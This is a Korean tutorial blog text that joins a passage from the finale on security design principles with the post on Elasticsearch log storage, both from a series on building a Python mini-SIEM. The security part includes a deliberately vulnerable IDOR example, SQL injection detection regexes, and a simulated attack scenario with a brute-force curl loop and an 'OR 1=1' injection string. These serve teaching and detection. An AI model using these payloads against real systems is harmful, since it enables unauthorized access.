    logger.error(f"Slack alert failed: {e}")
    # 알림 실패해도 인시던트는 생성됨 (데이터 유실 방지)
    # 운영자가 로그에서 확인 가능

Fail-Safe 체크리스트

# 설계 시 자문 (Self-Assessment)

□ API 기본값이 "거부"인가?
□ 알 수 없는 입력을 안전하게 처리하는가?
□ 에러 발생 시 보수적으로 동작하는가?
□ 환경 변수 누락 시 안전한가?
□ 권한 부여가 명시적인가?

3️⃣ Complete Mediation (완전한 중재)

개념

"모든 접근을 매번 검증하라. 캐싱이나 우회 경로를 허용하지 마라."

원칙:

• 모든 요청마다 인증/인가 확인
• 이전 검증 결과를 재사용하지 않음
• 우회 경로(Backdoor) 없음

실제 취약점 사례

IDOR (Insecure Direct Object Reference)

# ❌ 취약한 코드
@app.get("/incidents/{incident_id}")
def get_incident(incident_id: str):
    # 인증 확인 안 함!
    incident = db.get(incident_id)
    return incident

# 공격:
# GET /incidents/INC-20251111-0001  ✅ 자기 것
# GET /incidents/INC-20251111-0002  ✅ 남의 것도 조회됨!

Mini-SIEM 구현

1. 모든 요청 인증

# app/main.py

# ✅ 읽기 API: 인증 불필요 (공개 정보)
@app.get("/dashboard")
def get_dashboard():
    return stats_service.get_dashboard_stats()

@app.get("/incidents")
def list_incidents():
    return incident_manager.list_incidents()

# ✅ 쓰기 API: 인증 필수 (데이터 변경)
@app.post("/log")
async def receive_log(
    log_event: LogEvent,
    api_key: str = Depends(verify_api_key)  # 매번 검증!
):
    ...

@app.post("/incidents/{incident_id}/status", dependencies=[Depends(verify_api_key)])
def update_incident_status(...):
    # dependencies로 전역 적용
    ...

설계 철학:

읽기 (Read):
- 대시보드, 통계, 인시던트 목록 → 인증 불필요
- 이유: 내부 팀만 접근 가능한 네트워크
- 사용성 우선

쓰기 (Write):
- 로그 전송, 인시던트 변경 → 인증 필수
- 이유: 데이터 무결성 보호
- 보안 우선

2. 의존성 주입으로 우회 방지

# ❌ 나쁜 예: 함수 내부 검증 (우회 가능)
def process_log(log_event: LogEvent):
    # 함수 호출자가 검증을 건너뛸 수 있음
    if not verify_api_key():
        raise Exception("Unauthorized")
    ...

# 다른 곳에서 직접 호출 시 우회됨
process_log(malicious_log)  # 인증 건너뛰기!

# ✅ 좋은 예: FastAPI 의존성 주입 (우회 불가)
@app.post("/log")
async def receive_log(
    log_event: LogEvent,
    api_key: str = Depends(verify_api_key)  # FastAPI가 자동 실행
):
    # 이 함수에 도달했다면 이미 인증 통과
    ...

# 직접 호출 불가 (FastAPI 라우터를 통해서만 호출됨)

3. 중간자 공격 방지 (향후 개선)

# 현재: HTTP (개발 환경)
app = FastAPI()

# 프로덕션: HTTPS 강제
from fastapi.middleware.httpsredirect import HTTPSRedirectMiddleware

if not DEBUG:
    app.add_middleware(HTTPSRedirectMiddleware)
    # HTTP → HTTPS 자동 리다이렉트

4. 감사 로그 (Audit Trail)

# app/main.py
@app.post("/log")
async def receive_log(
    log_event: LogEvent,
    api_key: str = Depends(verify_api_key),
    request: Request  # 요청 객체 주입
):
    # Complete Mediation: 모든 접근 기록
    logger.info(
        f"[ACCESS] "
        f"Endpoint=/log | "
        f"Client={request.client.host} | "
        f"API_Key={api_key[:8]}... | "  # 앞 8자만 로깅 (보안)
        f"Event={log_event.event_type}"
    )

    # ... 처리 ...

4️⃣ Least Privilege (최소 권한)

개념

"사용자/프로세스에게 필요한 최소한의 권한만 부여하라"

원칙:

• 기본 권한: 없음 (No access)
• 명시적 권한 부여
• 불필요한 권한 제거

실제 침해 사례

2013년 Target 침해 사고

HVAC 업체 계정:
- 원래 필요한 권한: HVAC 시스템 접근
- 실제 부여된 권한: 전체 네트워크 접근 ❌

→ HVAC 업체 계정 탈취
→ POS 시스템 침투
→ 4천만 개 신용카드 정보 유출

만약 Least Privilege였다면:

HVAC 업체 계정:
- 권한: HVAC 시스템만 ✅
- POS 시스템 접근 불가 ✅

→ 침해 실패!

Mini-SIEM 구현

1. API 권한 분리

# app/main.py

# Level 0: 공개 (인증 불필요)
@app.get("/")
def home():
    return {"message": "Mini-SIEM", "version": "2.0.0"}

# Level 1: 읽기 권한 (인증 불필요)
@app.get("/dashboard")
def get_dashboard():
    return stats_service.get_dashboard_stats()

@app.get("/incidents")
def list_incidents():
    return incident_manager.list_incidents()

# Level 2: 쓰기 권한 (API 키 필수)
@app.post("/log")
async def receive_log(
    log_event: LogEvent,
    api_key: str = Depends(verify_api_key)
):
    ...

@app.post("/incidents/{incident_id}/status", dependencies=[Depends(verify_api_key)])
def update_incident_status(...):
    ...

권한 매트릭스:

2. 역할 기반 접근 제어 (RBAC) - 향후 개선

# 현재: 단일 API 키
API_KEY = os.getenv("API_KEY")

# 향후: 역할별 API 키
class Role(str, Enum):
    VIEWER = "viewer"      # 읽기만
    ANALYST = "analyst"    # 읽기 + 인시던트 변경
    ADMIN = "admin"        # 모든 권한

API_KEYS = {
    "viewer-key-123": Role.VIEWER,
    "analyst-key-456": Role.ANALYST,
    "admin-key-789": Role.ADMIN,
}

def verify_api_key_rbac(
    required_role: Role,
    api_key: str = Security(api_key_header)
) -> str:
    """역할 기반 인증"""
    if api_key not in API_KEYS:
        raise HTTPException(403, "Invalid API Key")

    user_role = API_KEYS[api_key]

    # 권한 계층: ADMIN > ANALYST > VIEWER
    role_hierarchy = {
        Role.VIEWER: 1,
        Role.ANALYST: 2,
        Role.ADMIN: 3,
    }

    if role_hierarchy[user_role] < role_hierarchy[required_role]:
        raise HTTPException(403, f"Requires {required_role} role")

    return api_key

# 사용 예시
@app.post("/log")
async def receive_log(
    log_event: LogEvent,
    api_key: str = Depends(lambda: verify_api_key_rbac(Role.ANALYST))
):
    # ANALYST 이상만 로그 전송 가능
    ...

@app.delete("/incidents/{id}")
async def delete_incident(
    incident_id: str,
    api_key: str = Depends(lambda: verify_api_key_rbac(Role.ADMIN))
):
    # ADMIN만 삭제 가능
    ...

3. 컨테이너 권한 최소화

# Dockerfile

# ❌ 나쁜 예: root로 실행
USER root
CMD ["uvicorn", "main:app"]

# ✅ 좋은 예: 전용 사용자
RUN useradd -m -u 1000 siem
USER siem

# 읽기 전용 파일 시스템 (docker-compose.yml)
services:
  fastapi_app:
    read_only: true  # 파일 시스템 읽기 전용
    tmpfs:
      - /tmp  # 임시 파일만 허용

4. 데이터베이스 권한 최소화 (향후)

# PostgreSQL 권한 설정
CREATE ROLE siem_read WITH LOGIN PASSWORD 'xxx';
CREATE ROLE siem_write WITH LOGIN PASSWORD 'yyy';

-- 읽기 전용
GRANT SELECT ON ALL TABLES IN SCHEMA public TO siem_read;

-- 쓰기 가능
GRANT SELECT, INSERT ON ALL TABLES IN SCHEMA public TO siem_write;

-- DROP, DELETE 권한 없음! (데이터 보호)

# 애플리케이션
class DBConnection:
    def __init__(self, mode: str):
        if mode == "read":
            self.user = "siem_read"
        elif mode == "write":
            self.user = "siem_write"
        else:
            raise ValueError("Invalid mode")

# 읽기 전용 연결
read_db = DBConnection("read")

# 쓰기 전용 연결
write_db = DBConnection("write")

5️⃣ OWASP Top 10 대응

OWASP Top 10 (2021)

1. A01: Broken Access Control
2. A02: Cryptographic Failures
3. A03: Injection
4. A04: Insecure Design
5. A05: Security Misconfiguration
6. A06: Vulnerable and Outdated Components
7. A07: Identification and Authentication Failures
8. A08: Software and Data Integrity Failures
9. A09: Security Logging and Monitoring Failures
10. A10: Server-Side Request Forgery (SSRF)

Mini-SIEM 대응 현황

A01: Broken Access Control ✅

대응:

• API 키 인증
• 읽기/쓰기 권한 분리
• 의존성 주입으로 우회 방지

@app.post("/log", dependencies=[Depends(verify_api_key)])
async def receive_log(...):
    # 인증 없이 접근 불가
    ...

A03: Injection ✅

대응:

• Pydantic 자동 검증
• SQL Injection 탐지 룰
• 정규식 패턴 매칭

SQL_INJECTION_PATTERNS = [
    r"(\bor\b\s+\d+\s*=\s*\d+)",
    r"(\bunion\b\s+\bselect\b)",
    r"(';?\s*drop\s+table)",
    # ...
]

def detect_sql_injection(log):
    for pattern in SQL_INJECTION_PATTERNS:
        if re.search(pattern, log.raw_log, re.IGNORECASE):
            return True, "SQL Injection detected"

A05: Security Misconfiguration ✅

대응:

• 환경 변수로 설정 관리
• .env 파일 (Git 제외)
• 안전한 기본값

# .env.example (안전한 템플릿)
API_KEY=your_secure_api_key_here
SLACK_WEBHOOK_URL=https://hooks.slack.com/...
DEBUG=False  # 프로덕션 기본값

# .gitignore
.env  # 실제 설정은 Git에 커밋 안 됨

A07: Authentication Failures ✅

대응:

• Brute Force 탐지 (5회 임계값)
• 비정상 시간대 접속 탐지
• 인시던트 자동 생성

def detect_brute_force(log):
    if log.event_type == EventType.LOGIN_FAILED and log.count >= 5:
        return True, f"Brute force: {log.count} attempts"

A09: Security Logging Failures ✅

대응:

• 모든 이벤트 로깅
• Elasticsearch 영구 저장
• 감사 추적 (Audit Trail)

logger.info(
    f"[EVENT] {event_type} | "
    f"IP={source_ip} | "
    f"Threat={is_threat}"
)

# Filebeat → Elasticsearch (영구 보존)

A02: Cryptographic Failures ⚠️ (향후 개선)

현재 상태:

• API 키 평문 전송 (HTTP)
• 로그 암호화 없음

개선 방안:

# 1. HTTPS 강제
from fastapi.middleware.httpsredirect import HTTPSRedirectMiddleware
app.add_middleware(HTTPSRedirectMiddleware)

# 2. 민감 데이터 암호화
from cryptography.fernet import Fernet

class LogEncryption:
    def __init__(self):
        self.key = os.getenv("ENCRYPTION_KEY").encode()
        self.cipher = Fernet(self.key)

    def encrypt(self, data: str) -> str:
        return self.cipher.encrypt(data.encode()).decode()

    def decrypt(self, data: str) -> str:
        return self.cipher.decrypt(data.encode()).decode()

# 사용
encryptor = LogEncryption()
encrypted_log = encryptor.encrypt(log.raw_log)

# Elasticsearch 저장 시 암호화
POST /siem-logs/_doc
{
  "raw_log": "encrypted_data_here",
  "encrypted": true
}

A06: Vulnerable Components ✅

대응:

• requirements.txt로 버전 고정
• Dependabot 자동 업데이트 (GitHub)

# requirements.txt (버전 고정)
fastapi==0.115.0
uvicorn==0.32.0
pydantic==2.9.2

# 취약점 스캔
$ pip-audit
# 또는
$ safety check

실전 침해 시나리오 분석

시나리오: Brute Force → SQL Injection → 권한 상승

공격자 목표: 관리자 계정 탈취 후 데이터 유출

Step 1: Brute Force Attack

# 공격자 시도
for i in {1..100}; do
  curl -X POST http://localhost:8000/log \
    -H "X-API-Key: attacker-key" \
    -d '{
      "event_type": "login_failed",
      "source_ip": "203.0.113.100",
      "username": "admin",
      "count": 1
    }'
done

시스템 방어:

Layer 1 (인증): ✅ PASS (유효한 API 키)
Layer 2 (검증): ✅ PASS (유효한 JSON)
Layer 3 (탐지): ❌ DETECTED!

탐지 룰: detect_brute_force()
→ 5회째에서 탐지
→ 인시던트 생성: INC-20251111-0001
→ Slack 알림: "🚨 Brute Force from 203.0.113.100"

Layer 4 (로깅): ✅ 모든 시도 기록
→ /app/logs/app.log
→ Elasticsearch: siem-logs-2025.11.11

Layer 5 (알림): ✅ SOC 팀 인지
→ IP 차단 결정

Step 2: SQL Injection 시도

# 공격자 시도 (Brute Force 차단 후 다른 공격)
curl -X POST http://localhost:8000/log \
  -H "X-API-Key: attacker-key" \
  -d '{
    "event_type": "sql_injection",
    "source_ip": "203.0.113.100",
    "raw_log": "admin' OR '1'='1'--"
  }'

시스템 방어:

Layer 3 (탐지): ❌ DETECTED!

탐지 룰: detect_sql_injection()
→ 패턴 매칭: r"(\bor\b\s+\d+\s*=\s*\d+)" 근사 매칭
→ 심각도: CRITICAL
→ 인시던트: INC-20251111-0002
→ Slack: "🚨 [CRITICAL] SQL Injection detected"

→ 공격 실패!

Step 3: 권한 상승 시도

# 공격자 시도 (다른 취약점 탐색)
curl -X POST http://localhost:8000/log \
  -H "X-API-Key: attacker-key" \
  -d '{
    "event_type": "privilege_escalation",
    "source_ip": "203.0.113.100",
    "raw_log": "sudo -i",
    "username": "user123"
  }'

시스템 방어:

Layer 3 (탐지): ❌ DETECTED!

탐지 룰: detect_privilege_escalation()
→ 키워드 매칭: "sudo"
→ 심각도: HIGH
→ 인시던트: INC-20251111-0003

→ 공격 실패!

최종 결과

공격자: 3가지 공격 시도
시스템: 3건 모두 탐지 및 차단 ✅

생성된 인시던트:
- INC-20251111-0001: Brute Force (MEDIUM)
- INC-20251111-0002: SQL Injection (CRITICAL)
- INC-20251111-0003: Privilege Escalation (HIGH)

SOC 팀 조치:
1. IP 203.0.113.100 방화벽 차단
2. 관련 계정 비밀번호 재설정
3. 침해 지표 (IOC) 공유

보안 설계 체크리스트

설계 단계

□ Defense in Depth
  □ 최소 3개 이상의 방어 계층?
  □ 각 계층이 독립적으로 동작?
  □ 하나 뚫려도 시스템 안전?

□ Fail-Safe Defaults
  □ 기본값이 "거부"?
  □ 환경 변수 누락 시 안전?
  □ 에러 발생 시 보수적?

□ Complete Mediation
  □ 모든 요청마다 인증?
  □ 캐싱으로 우회 불가?
  □ 감사 로그 기록?

□ Least Privilege
  □ 필요한 최소 권한만?
  □ 역할 기반 접근 제어?
  □ 기본 권한은 없음?

□ OWASP Top 10
  □ Injection 대응?
  □ 인증 실패 탐지?
  □ 보안 로깅?

구현 단계

□ 코드 리뷰
  □ API 인증 확인
  □ 입력 검증 확인
  □ 에러 처리 확인

□ 테스트
  □ 인증 우회 시도 (401/403 확인)
  □ SQL Injection 테스트
  □ Brute Force 시뮬레이션

□ 문서화
  □ 보안 설계 문서
  □ 인증 방법 가이드
  □ 침해 대응 플레이북

운영 단계

□ 모니터링
  □ 실시간 위협 탐지
  □ 인시던트 대시보드
  □ 알림 정상 작동

□ 정기 점검
  □ 의존성 취약점 스캔 (weekly)
  □ API 키 교체 (monthly)
  □ 침투 테스트 (quarterly)

□ 사고 대응
  □ 인시던트 대응 절차
  □ 백업 및 복구 계획
  □ 침해 지표 (IOC) 수집

마치며

시리즈 회고

이 시리즈를 통해 우리는:

1. SIEM의 본질을 이해했습니다

   • 단순한 로그 저장소가 아님
   • 실시간 위협 탐지 시스템

2. 실무 수준의 기술을 적용했습니다

   • MITRE ATT&CK Framework
   • OWASP Top 10
   • Saltzer & Schroeder 보안 원칙

3. 오픈소스로 구현했습니다

   • FastAPI: 고성능 API
   • Elasticsearch: 대용량 검색
   • Pydantic: 타입 안전성

4. 포트폴리오를 완성했습니다

   • GitHub 공개
   • 설계 문서화
   • 블로그 시리즈

핵심 교훈

"보안은 기능이 아니라 설계다"

• 처음부터 보안 고려
• 다층 방어 구축
• 안전한 기본값
• 최소 권한 원칙

다음 단계

학습:

• CISSP 자격증
• Certified Ethical Hacker (CEH)
• 침투 테스트 실습

프로젝트 확장:

• 머신러닝 이상 탐지
• 위협 인텔리전스 연동
• SOAR 자동화
• 웹 UI 대시보드

커리어:

• SOC Analyst 지원
• Security Engineer 지원
• 보안 관제 직무

감사 인사

이 시리즈를 끝까지 읽어주신 여러분께 감사드립니다.

질문, 피드백, 개선 아이디어가 있다면:

• GitHub Issues
• 블로그 댓글
• 이메일

함께 더 안전한 세상을 만들어갑시다! 🛡️

참고 자료

보안 원칙

• Saltzer & Schroeder (1975) - The Protection of Information in Computer Systems
• NIST Cybersecurity Framework
• OWASP Top 10 (2021)

침해 사고 사례

• Verizon DBIR 2023
• IBM X-Force Threat Intelligence Index

기술 문서

• FastAPI Security
• Pydantic Validators

프로젝트 정보

• GitHub: mini-siem-log-monitoring
• 시리즈: Python SIEM 만들기 (5/5편 - 완결)
• 전체 코드: app/ 디렉토리 참조

⭐ GitHub Star와 좋아요 부탁드립니다!

💡 "보안은 마라톤입니다. 끝이 없습니다. 하지만 포기하지 마세요."

여러분의 보안 여정을 응원합니다! 🚀

이 글은 "Python으로 나만의 SIEM 만들기" 시리즈의 4편입니다.

• 1편: 시작편 - 30분만에 SIEM 구축하기
• 2편: MITRE ATT&CK 기반 위협 탐지 룰 구현
• 3편: FastAPI로 실시간 보안 이벤트 처리하기
• [현재] 4편: Elasticsearch로 대용량 로그 저장하고 검색하기
• 5편: 보안 설계 원칙을 코드로 구현하기 (예정)

들어가며

"하루 1억 건의 로그를 어떻게 저장하고 검색할까요?"

일반적인 데이터베이스로는 불가능합니다.

• MySQL: 1억 건 Full Scan → 30분 이상
• PostgreSQL: 인덱스 있어도 수십 초
• MongoDB: 샤딩 필요, 복잡한 운영

Elasticsearch는 다릅니다.

• 1억 건 검색 → 1초 이내
• 자동 샤딩 및 복제
• RESTful API로 간편한 쿼리

실제 사례:

• Uber: 하루 수조 건 로그 처리
• Netflix: 100TB+ 로그 저장
• GitHub: 코드 검색 엔진 (수억 줄)

이번 글에서는 Elasticsearch를 활용해 대용량 보안 로그를 효율적으로 저장하고 검색하는 방법을 다룹니다.

Elasticsearch 기본 개념

1. Elasticsearch란?

분산 검색 및 분석 엔진 (Distributed Search and Analytics Engine)

• Apache Lucene 기반
• RESTful API
• JSON 형식 데이터
• Near Real-Time (NRT) 검색

2. 핵심 용어

┌─────────────────────────────────────────────────┐
│              Elasticsearch Cluster              │
├─────────────────────────────────────────────────┤
│                                                 │
│  ┌───────────────────────────────────────┐     │
│  │         Index (인덱스)                 │     │  ← MySQL의 Database
│  │  "siem-logs-2025.11.11"               │     │
│  ├───────────────────────────────────────┤     │
│  │                                       │     │
│  │  ┌─────────────────────────────┐     │     │
│  │  │     Shard 0 (Primary)       │     │     │  ← 데이터 분할 단위
│  │  ├─────────────────────────────┤     │     │
│  │  │  Document 1 (로그 이벤트 1)  │     │     │  ← MySQL의 Row
│  │  │  Document 2 (로그 이벤트 2)  │     │     │
│  │  │  Document 3 (로그 이벤트 3)  │     │     │
│  │  └─────────────────────────────┘     │     │
│  │                                       │     │
│  │  ┌─────────────────────────────┐     │     │
│  │  │     Shard 1 (Primary)       │     │     │
│  │  ├─────────────────────────────┤     │     │
│  │  │  Document 4                 │     │     │
│  │  │  Document 5                 │     │     │
│  │  └─────────────────────────────┘     │     │
│  │                                       │     │
│  └───────────────────────────────────────┘     │
│                                                 │
└─────────────────────────────────────────────────┘

용어 비교:

3. 왜 Elasticsearch가 빠른가?

역인덱스 (Inverted Index)

일반 인덱스 (Forward Index):

Document ID → 내용

Doc 1: "Brute force attack detected"
Doc 2: "SQL injection attempt"
Doc 3: "Brute force from IP 192.168.1.100"

검색: "Brute force"를 찾으려면? → 모든 문서를 순회 (O(n)) 😢

역인덱스 (Inverted Index):

단어 → Document ID

"brute"    → [Doc 1, Doc 3]
"force"    → [Doc 1, Doc 3]
"attack"   → [Doc 1]
"sql"      → [Doc 2]
"injection"→ [Doc 2]
"ip"       → [Doc 3]

검색: "Brute force"를 찾으려면? → 단어 목록에서 즉시 찾기 (O(1)) 🚀

분산 처리 (Distributed Processing)

1억 건 로그 검색

단일 서버:
└─ 1억 건 검색 → 30분

3대 클러스터 (샤딩):
├─ Node 1: 3,333만 건 검색 → 10분
├─ Node 2: 3,333만 건 검색 → 10분
└─ Node 3: 3,334만 건 검색 → 10분
   병렬 실행 → 총 10분 (3배 빠름!)

로그 수집 파이프라인

전체 흐름

┌──────────────────┐
│  FastAPI Server  │
│  (로그 생성)      │
└────────┬─────────┘
         │
         ▼ (파일 쓰기)
┌──────────────────┐
│  /app/logs/      │
│  app.log         │
└────────┬─────────┘
         │
         ▼ (파일 감시)
┌──────────────────────────────────────┐
│  Filebeat (로그 수집기)               │
│  ┌──────────────────────────────┐   │
│  │ 1. 파일 읽기                  │   │
│  │ 2. Dissect 프로세서 (파싱)    │   │
│  │ 3. 타임스탬프 변환             │   │
│  │ 4. 필드 타입 변환              │   │
│  └──────────────────────────────┘   │
└────────┬─────────────────────────────┘
         │
         ▼ (HTTP 전송)
┌──────────────────────────────────────┐
│  Elasticsearch (로그 저장소)         │
│  ┌──────────────────────────────┐   │
│  │ 인덱스: siem-logs-YYYY.MM.DD │   │
│  │ - 역인덱스 생성               │   │
│  │ - 샤드에 분산 저장            │   │
│  └──────────────────────────────┘   │
└────────┬─────────────────────────────┘
         │
         ▼ (쿼리)
┌──────────────────┐
│  Kibana          │
│  (시각화)         │
└──────────────────┘

Filebeat 설정 상세

filebeat.yml 전체 구조

# 1. 입력 설정 (어디서 로그를 읽을까?)
filebeat.inputs:
  - type: log
    enabled: true
    paths:
      - /var/log/mini_siem/*.log

    # 2. 프로세서 (로그를 어떻게 파싱할까?)
    processors:
      - dissect:
          tokenizer: "%{timestamp} [%{log_level}] [EVENT] %{event_type} | IP=%{source_ip} | Severity=%{severity} | Threat=%{is_threat}"
          field: "message"
          target_prefix: "siem"
          ignore_failure: true

      - timestamp:
          field: siem.timestamp
          layouts:
            - '2006-01-02 15:04:05,000'
          ignore_failure: true

      - convert:
          fields:
            - {from: "siem.is_threat", type: "boolean"}
          ignore_failure: true

# 3. 출력 설정 (어디로 보낼까?)
output.elasticsearch:
  hosts: ["elasticsearch:9200"]
  index: "siem-logs-%{+yyyy.MM.dd}"

# 4. 인덱스 템플릿 설정
setup.ilm.enabled: false
setup.template.name: "siem-logs"
setup.template.pattern: "siem-logs-*"

Dissect 프로세서 상세 분석

원본 로그

2025-11-11 10:30:00,123 [INFO] [EVENT] login_failed | IP=192.168.1.100 | Severity=medium | Threat=True

Dissect 토크나이저

tokenizer: "%{timestamp} [%{log_level}] [EVENT] %{event_type} | IP=%{source_ip} | Severity=%{severity} | Threat=%{is_threat}"

토크나이저 분석:

%{timestamp}       → "2025-11-11 10:30:00,123"
[%{log_level}]     → "[INFO]" → "INFO"
[EVENT]            → 리터럴 (매칭만)
%{event_type}      → "login_failed"
IP=%{source_ip}    → "IP=192.168.1.100" → "192.168.1.100"
Severity=%{severity} → "Severity=medium" → "medium"
Threat=%{is_threat} → "Threat=True" → "True"

파싱 결과

{
  "message": "2025-11-11 10:30:00,123 [INFO] [EVENT] login_failed | IP=192.168.1.100 | Severity=medium | Threat=True",
  "siem": {
    "timestamp": "2025-11-11 10:30:00,123",
    "log_level": "INFO",
    "event_type": "login_failed",
    "source_ip": "192.168.1.100",
    "severity": "medium",
    "is_threat": "True"
  }
}

프로세서 체인

1. Dissect (파싱)

- dissect:
    tokenizer: "..."
    field: "message"           # 입력 필드
    target_prefix: "siem"      # 출력 필드 접두사
    ignore_failure: true       # 파싱 실패 시 무시

ignore_failure의 중요성:

로그 형식 A: "2025-11-11 [INFO] [EVENT] ..."  ✅ 파싱 성공
로그 형식 B: "2025-11-11 [WARNING] THREAT..."  ❌ 파싱 실패

ignore_failure: true  → 형식 B도 계속 처리 (다음 프로세서로)
ignore_failure: false → 형식 B에서 중단 (로그 유실!)

여러 패턴 처리:

processors:
  # 패턴 1: [EVENT] 형식
  - dissect:
      tokenizer: "%{timestamp} [%{log_level}] [EVENT] ..."
      ignore_failure: true

  # 패턴 2: THREAT DETECTED 형식
  - dissect:
      tokenizer: "%{timestamp} [%{log_level}] %{?emoji} THREAT DETECTED: %{threat_details}"
      ignore_failure: true

→ 두 패턴 모두 시도, 하나만 성공하면 OK!

2. Timestamp (타임스탬프 변환)

- timestamp:
    field: siem.timestamp            # 소스 필드
    layouts:
      - '2006-01-02 15:04:05,000'    # Go 시간 형식
    ignore_failure: true

Go 시간 형식 해석:

2006-01-02 15:04:05,000
│    │  │  │  │  │  └─ 밀리초 (000)
│    │  │  │  │  └─── 초 (05)
│    │  │  │  └────── 분 (04)
│    │  │  └───────── 시 (15 = 3PM)
│    │  └──────────── 일 (02)
│    └─────────────── 월 (01)
└──────────────────── 년 (2006)

변환 전후:

// 변환 전
{
  "siem": {
    "timestamp": "2025-11-11 10:30:00,123"  // 문자열
  }
}

// 변환 후
{
  "@timestamp": "2025-11-11T10:30:00.123Z",  // ISO 8601 형식
  "siem": {
    "timestamp": "2025-11-11 10:30:00,123"
  }
}

3. Convert (타입 변환)

- convert:
    fields:
      - {from: "siem.is_threat", type: "boolean"}
    ignore_failure: true

변환 규칙:

"True"  → true   (boolean)
"true"  → true
"1"     → true
"False" → false
"false" → false
"0"     → false

타입 변환의 중요성:

// ❌ 타입 변환 안 함
{
  "siem": {
    "is_threat": "True"  // 문자열!
  }
}

// Elasticsearch 쿼리
GET /siem-logs/_search
{
  "query": {
    "term": {
      "siem.is_threat": true  // 매칭 실패! (문자열 vs 불린)
    }
  }
}

// ✅ 타입 변환 함
{
  "siem": {
    "is_threat": true  // 불린!
  }
}

// Elasticsearch 쿼리
GET /siem-logs/_search
{
  "query": {
    "term": {
      "siem.is_threat": true  // 매칭 성공!
    }
  }
}

Elasticsearch 인덱스 설계

일별 인덱스 전략

인덱스 명명 규칙:

siem-logs-2025.11.11
siem-logs-2025.11.12
siem-logs-2025.11.13
...

장점:

1. 빠른 삭제

   # 30일 이전 로그 삭제
   DELETE /siem-logs-2025.10.12
   # 인덱스 전체 삭제 (수 초 내 완료!)
   
   # vs. 일반 DB
   DELETE FROM logs WHERE date < '2025-10-12';
   # 수백만 건 삭제 (수십 분 소요)

2. 시간 기반 검색 최적화

   # 특정 날짜만 검색
   GET /siem-logs-2025.11.11/_search
   # 해당 날짜 데이터만 검색 (빠름!)
   
   # 범위 검색
   GET /siem-logs-2025.11.*/_search
   # 2025년 11월 전체 검색

3. 샤드 크기 관리

   단일 인덱스 (1년치):
   └─ 10TB → 샤드 크기 초과 → 성능 저하
   
   일별 인덱스:
   ├─ 2025.11.11: 30GB ✅
   ├─ 2025.11.12: 28GB ✅
   └─ 2025.11.13: 32GB ✅

매핑 (Mapping) 설계

자동 매핑 vs 명시적 매핑:

// ❌ 자동 매핑 (권장하지 않음)
// Elasticsearch가 첫 데이터로 타입 추론
{
  "siem": {
    "source_ip": "192.168.1.100"  // → text (검색용)
  }
}
// 문제: IP는 keyword여야 함!

// ✅ 명시적 매핑 (권장)
PUT /siem-logs-2025.11.11
{
  "mappings": {
    "properties": {
      "@timestamp": {
        "type": "date"
      },
      "siem": {
        "properties": {
          "timestamp": {
            "type": "date"
          },
          "log_level": {
            "type": "keyword"  // 정확한 매칭
          },
          "event_type": {
            "type": "keyword"
          },
          "source_ip": {
            "type": "ip"  // IP 전용 타입
          },
          "severity": {
            "type": "keyword"
          },
          "is_threat": {
            "type": "boolean"
          },
          "threat_details": {
            "type": "text",  // 전문 검색
            "fields": {
              "keyword": {  // 정렬/집계용
                "type": "keyword"
              }
            }
          }
        }
      }
    }
  }
}

필드 타입 상세

keyword vs text 차이:

// keyword (정확한 매칭)
{
  "event_type": "login_failed"
}

GET /_search
{
  "query": {
    "term": {
      "event_type": "login_failed"  // ✅ 매칭
    }
  }
}

{
  "query": {
    "term": {
      "event_type": "login"  // ❌ 매칭 안 됨 (부분 매칭 불가)
    }
  }
}

// text (전문 검색)
{
  "threat_details": "Brute force attack detected from IP"
}

// 자동으로 토큰화됨:
// ["brute", "force", "attack", "detected", "from", "ip"]

GET /_search
{
  "query": {
    "match": {
      "threat_details": "brute"  // ✅ 매칭
    }
  }
}

{
  "query": {
    "match": {
      "threat_details": "attack"  // ✅ 매칭 (부분 매칭 가능!)
    }
  }
}

인덱스 템플릿

자동 매핑 적용:

PUT /_index_template/siem-logs-template
{
  "index_patterns": ["siem-logs-*"],  // 패턴 매칭
  "template": {
    "settings": {
      "number_of_shards": 1,     // 샤드 수 (노드 수에 따라 조정)
      "number_of_replicas": 1,   // 복제본 수 (가용성)
      "refresh_interval": "5s"   // 검색 가능 시점 (실시간성)
    },
    "mappings": {
      "properties": {
        "@timestamp": {"type": "date"},
        "siem": {
          "properties": {
            "timestamp": {"type": "date"},
            "log_level": {"type": "keyword"},
            "event_type": {"type": "keyword"},
            "source_ip": {"type": "ip"},
            "severity": {"type": "keyword"},
            "is_threat": {"type": "boolean"},
            "threat_details": {
              "type": "text",
              "fields": {
                "keyword": {"type": "keyword"}
              }
            }
          }
        }
      }
    }
  }
}

효과:

# 새 인덱스 자동 생성 시 템플릿 적용
POST /siem-logs-2025.11.14/_doc
{
  "siem": {
    "source_ip": "192.168.1.100"
  }
}

# 자동으로 ip 타입으로 매핑됨! ✅

Elasticsearch 쿼리 (Query DSL)

1. 기본 검색

// 모든 위협 로그 조회
GET /siem-logs-*/_search
{
  "query": {
    "term": {
      "siem.is_threat": true
    }
  }
}

2. 복합 조건 (Bool Query)

// Critical 위협 중 특정 IP만
GET /siem-logs-*/_search
{
  "query": {
    "bool": {
      "must": [                          // AND 조건
        {"term": {"siem.severity": "critical"}},
        {"term": {"siem.is_threat": true}}
      ],
      "filter": [                        // 필터 (스코어 계산 안 함)
        {"term": {"siem.source_ip": "192.168.1.100"}}
      ]
    }
  }
}

bool 쿼리 조건:

3. 시간 범위 검색

// 최근 1시간 위협
GET /siem-logs-*/_search
{
  "query": {
    "bool": {
      "must": [
        {"term": {"siem.is_threat": true}}
      ],
      "filter": [
        {
          "range": {
            "@timestamp": {
              "gte": "now-1h",  // Greater Than or Equal
              "lte": "now"      // Less Than or Equal
            }
          }
        }
      ]
    }
  }
}

// 특정 날짜 범위
{
  "range": {
    "@timestamp": {
      "gte": "2025-11-01T00:00:00",
      "lte": "2025-11-30T23:59:59",
      "format": "yyyy-MM-dd'T'HH:mm:ss"
    }
  }
}

4. IP 범위 검색 (CIDR)

// 192.168.1.0/24 네트워크에서 발생한 공격
GET /siem-logs-*/_search
{
  "query": {
    "bool": {
      "must": [
        {"term": {"siem.is_threat": true}}
      ],
      "filter": [
        {
          "term": {
            "siem.source_ip": "192.168.1.0/24"
          }
        }
      ]
    }
  }
}

5. 전문 검색 (Full-Text Search)

// "SQL Injection" 포함된 위협 찾기
GET /siem-logs-*/_search
{
  "query": {
    "match": {
      "siem.threat_details": "SQL Injection"
    }
  }
}

// 여러 단어 모두 포함 (AND)
{
  "query": {
    "match": {
      "siem.threat_details": {
        "query": "brute force attack",
        "operator": "and"
      }
    }
  }
}

// 정규식 검색
{
  "query": {
    "regexp": {
      "siem.threat_details": ".*injection.*"
    }
  }
}

